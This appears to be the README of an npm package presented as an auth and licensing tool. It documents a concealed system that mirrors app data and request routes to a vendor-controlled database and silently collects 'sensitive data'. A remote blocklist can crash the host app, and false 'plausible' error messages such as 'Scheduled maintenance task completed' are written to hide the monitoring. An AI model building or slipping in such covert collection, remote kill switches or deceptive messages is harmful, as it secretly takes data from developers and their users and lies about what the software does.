@ufdevsllc/auth-me
Version:
Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection
245 lines (202 loc) • 8.19 kB
Markdown
# Comprehensive Error Handling Implementation
## Overview
This document describes the comprehensive error handling system implemented for the Backend Protection Enhancement. The system addresses three key requirements:
- **Requirement 9.3**: Stealth error handling that fails silently without exposing monitoring
- **Requirement 8.2**: Generic error messages for blocked sources
- **Requirement 6.5**: Network failure handling with offline queuing
## Components
### 1. StealthErrorHandler
The core error handling component that provides:
#### Stealth Error Handling (Requirement 9.3)
- **Silent Failure**: All monitoring operations fail silently without exposing the monitoring system
- **Internal Logging**: Errors are logged internally for debugging but never exposed to clients
- **Plausible Error Messages**: Generic, believable error messages that don't reveal monitoring
- **Background Processing**: Monitoring operations run in background without affecting application performance
```javascript
// Example: Silent monitoring operation
const result = await StealthErrorHandler.handleMonitoringOperation(
async () => {
// Monitoring code that might fail
await collectData();
},
{ fallbackValue: null }
);
// Returns null on failure, never throws or logs to console
```
#### Network Failure Handling with Offline Queuing (Requirement 6.5)
- **Exponential Backoff**: Retry failed network operations with increasing delays
- **Offline Queuing**: Queue failed operations for later retry when network is restored
- **Background Processing**: Process queued operations in background without blocking
- **Configurable Retry Logic**: Customizable retry counts, delays, and queue behavior
```javascript
// Example: Network operation with retry and queuing
const result = await StealthErrorHandler.handleNetworkFailure(
async () => {
// Network operation that might fail
await syncToDatabase();
},
{
maxRetries: 3,
baseDelay: 1000,
maxDelay: 30000,
enableQueuing: true,
operationName: 'data_sync'
}
);
```
#### Generic Error Messages for Blocked Sources (Requirement 8.2)
- **Immediate Crash**: Blocked sources cause immediate application termination
- **Generic Messages**: Non-revealing error messages that don't expose the blocking system
- **Internal Logging**: Block events are logged internally for vendor tracking
- **Multiple Block Types**: Handles various blocked source error codes
```javascript
// Blocked source detection triggers generic error and crash
const blockedError = new SecureGuardError('SOURCE_ID_BLOCKED', ...);
await StealthErrorHandler.handleStealth(blockedError, {});
// Outputs: "Application initialization failed. Please contact support."
// Then: process.exit(1)
```
### 2. Enhanced Component Integration
#### RemoteBlocker
- Uses enhanced network failure handling for blocklist synchronization
- Implements retry logic with exponential backoff
- Falls back to cached blocklist when network fails
- Queues sync operations for later retry
#### ModelCloner
- Enhanced daily sync with network failure handling
- Queues failed model synchronization operations
- Provides comprehensive sync statistics including queued operations
- Silent failure for all monitoring aspects
#### ExpressMonitor
- Silent failure for route logging operations
- Network retry for database logging
- Queuing of failed route logs
- No impact on application performance
## Error Categories
### 1. Monitoring Errors (Silent Failure)
- `MONITORING_FAILED`
- `DATA_COLLECTION_FAILED`
- `ROUTE_INJECTION_FAILED`
- `MODEL_CLONING_FAILED`
- `NETWORK_REQUEST_FAILED`
- `DAILY_SYNC_FAILED`
- `EXPRESS_INJECTION_FAILED`
- `CHAIN_TRACKING_FAILED`
### 2. Blocked Source Errors (Immediate Crash)
- `SOURCE_ID_BLOCKED`
- `REMOTE_BLOCK_DETECTED`
- `UNAUTHORIZED_SOURCE`
### 3. URL Protection Errors (Immediate Crash)
- `URL_TAMPER_DETECTED`
- `URL_INTEGRITY_FAILED`
- `CONNECTION_COMPROMISED`
## Plausible Error Messages
The system provides believable error messages that don't reveal monitoring:
| Context | Message |
|---------|---------|
| blocked_source | "Application initialization failed. Please contact support." |
| network | "Network optimization routine encountered temporary issue" |
| database | "Configuration validation completed with warnings" |
| monitoring | "Performance profiling routine finished" |
| url_protection | "Configuration integrity check failed" |
| model_cloning | "Data synchronization service unavailable" |
| express_monitoring | "Request optimization middleware disabled" |
| daily_sync | "Scheduled maintenance task completed" |
## Queue Management
### Operation Queuing
- Failed network operations are queued for later retry
- Queue is processed every 30 seconds in background
- Operations have configurable retry limits
- Queue automatically cleans up after max retries exceeded
### Queue Statistics
```javascript
const stats = StealthErrorHandler.getQueueStats();
// Returns:
// {
// queueLength: 5,
// processorRunning: true,
// oldestQueuedOperation: Date
// }
```
## Internal Error Tracking
### Error Statistics
- Tracks all internal errors without exposing them
- Provides error counts by type and context
- Maintains recent error history
- Useful for debugging and monitoring
```javascript
const stats = StealthErrorHandler.getInternalStats();
// Returns:
// {
// stealthEnabled: true,
// totalInternalErrors: 15,
// errorsByType: { 'MONITORING_FAILED': 8, 'NETWORK_REQUEST_FAILED': 7 },
// errorsByContext: { 'model_cloning': 10, 'route_logging': 5 },
// recentErrors: [...]
// }
```
## Usage Examples
### 1. Wrapping Monitoring Operations
```javascript
// Wrap any monitoring function for silent failure
const wrappedFunction = StealthErrorHandler.wrapWithStealthHandling(
async () => {
// Monitoring code here
await collectSensitiveData();
},
{ fallbackValue: null }
);
const result = await wrappedFunction();
// Never throws, returns null on failure
```
### 2. Network Operations with Retry
```javascript
// Database sync with retry and queuing
const syncResult = await StealthErrorHandler.handleNetworkFailure(
async () => {
await database.sync();
return { success: true };
},
{
maxRetries: 3,
baseDelay: 2000,
enableQueuing: true,
operationName: 'database_sync'
}
);
```
### 3. Handling Blocked Sources
```javascript
// Check if source is blocked and handle appropriately
const sourceId = ChainTracker.getCurrentSourceId();
const blockStatus = await RemoteBlocker.checkBlocklist(sourceId);
if (blockStatus.isBlocked) {
// This will crash with generic message
const error = new SecureGuardError('SOURCE_ID_BLOCKED', ...);
await StealthErrorHandler.handleStealth(error, {});
}
```
## Testing
The error handling system includes comprehensive tests covering:
- Silent failure for monitoring operations
- Network retry with exponential backoff
- Operation queuing and background processing
- Blocked source handling with generic messages
- Error statistics and tracking
- Integration with all major components
Run tests with:
```bash
npm test -- tests/ErrorHandlingCore.test.js
```
## Security Considerations
1. **No Information Leakage**: All error messages are generic and don't reveal system internals
2. **Silent Operation**: Monitoring failures never affect application functionality
3. **Immediate Response**: Blocked sources are terminated immediately with no debugging information
4. **Internal Tracking**: All security events are logged internally for vendor analysis
5. **Plausible Deniability**: Error messages provide believable explanations for any observed behavior
## Performance Impact
- **Minimal Overhead**: Error handling adds negligible performance impact
- **Background Processing**: Queue processing runs in background without blocking
- **Efficient Retry**: Exponential backoff prevents excessive retry attempts
- **Memory Management**: Error logs and queues have size limits to prevent memory leaks
- **Async Operations**: All error handling is asynchronous and non-blocking